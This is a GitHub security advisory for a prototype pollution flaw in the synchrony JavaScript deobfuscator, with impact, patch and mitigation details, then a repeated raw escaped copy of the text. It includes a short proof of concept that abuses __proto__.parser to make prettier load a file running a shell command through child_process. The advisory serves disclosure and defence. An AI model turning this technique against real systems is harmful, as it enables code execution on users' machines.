Title

Prototype pollution vulnerability leading to arbitrary code execution in synchrony deobfuscator

Summary

Synchrony deobfuscator is a javascript cleaner & deobfuscator. A `__proto__` pollution vulnerability exists in versions before v2.4.4. Successful exploitation could lead to arbitrary code execution. A `__proto__` pollution vulnerability exists in the `LiteralMap` transformer allowing crafted input to modify properties in the Object prototype. A fix has been released in `deobfuscator@2.4.4`. Users are advised to upgrade. Users unable to upgrade should launch node with the [--disable-proto=delete][disable-proto] or [--disable-proto=throw][disable-proto] flags

Severity ?

8.2 (High)

GHSA-JG82-XH3W-RHXX

Vulnerability from github – Published: 2023-10-18 18:27 – Updated: 2025-07-22 15:37

Summary

Synchrony deobfuscator prototype pollution vulnerability leading to arbitrary code execution

Details

Impact

A __proto__ pollution vulnerability exists in synchrony versions before v2.4.4. Successful exploitation could lead to arbitrary code execution.

Summary

A __proto__ pollution vulnerability exists in the LiteralMap transformer allowing crafted input to modify properties in the Object prototype.

When executing in Node.js, due to use of the prettier module, defining a parser property on __proto__ with a path to a JS module on disk causes a require of the value which can lead to arbitrary code execution.

Patch

A fix has been released in deobfuscator@2.4.4.

Mitigation

Upgrade synchrony to v2.4.4
Launch node with the --disable-proto=delete or --disable-proto=throw flag

Proof of Concept

Craft a malicious input file named poc.js as follows:

// Malicious code to be run after this file is imported. Logs the result of shell command "dir" to the console.
console.log(require('child_process').execSync('dir').toString())

// Synchrony exploit PoC
{
  var __proto__ = { parser: 'poc.js' }
}

Then, run synchrony poc.js from the same directory as the malicious file.

Credits

This vulnerability was found and disclosed by William Khem-Marquez.

Severity ?

Successful exploitation could lead to arbitrary code execution.\n\n### Summary\n\nA `__proto__` pollution vulnerability exists in the [LiteralMap] transformer allowing crafted input to modify properties in the Object prototype.\n\nWhen executing in Node.js, due to use of the `prettier` module, defining a `parser` property on `__proto__` with a path to a JS module on disk [causes a `require` of the value][prettier/src/main/parser.js] which can lead to arbitrary code execution.\n\n### Patch\n\nA fix has been released in `deobfuscator@2.4.4`.\n\n### Mitigation\n\n- Upgrade synchrony to v2.4.4\n- Launch node with the [--disable-proto=delete][disable-proto] or [--disable-proto=throw][disable-proto] flag\n\n### Proof of Concept\n\nCraft a malicious input file named `poc.js` as follows:\n\n```js\n// Malicious code to be run after this file is imported. Logs the result of shell command \"dir\" to the console.\nconsole.log(require(\u0027child_process\u0027).execSync(\u0027dir\u0027).toString())\n\n// Synchrony exploit PoC\n{\n  var __proto__ = { parser: \u0027poc.js\u0027 }\n}\n```\n\nThen, run `synchrony poc.js` from the same directory as the malicious file.\n\n### Credits\n\nThis vulnerability was found and disclosed by [William Khem-Marquez][SteakEnthusiast].\n\n[LiteralMap]: src/transformers/literalmap.ts\n[SteakEnthusiast]: https://github.com/SteakEnthusiast\n[disable-proto]: https://nodejs.dev/en/api/v20/cli/#--disable-protomode\n[prettier/src/main/parser.js]: https://github.com/prettier/prettier/blob/2.5.1/src/main/parser.js#L53-L63",
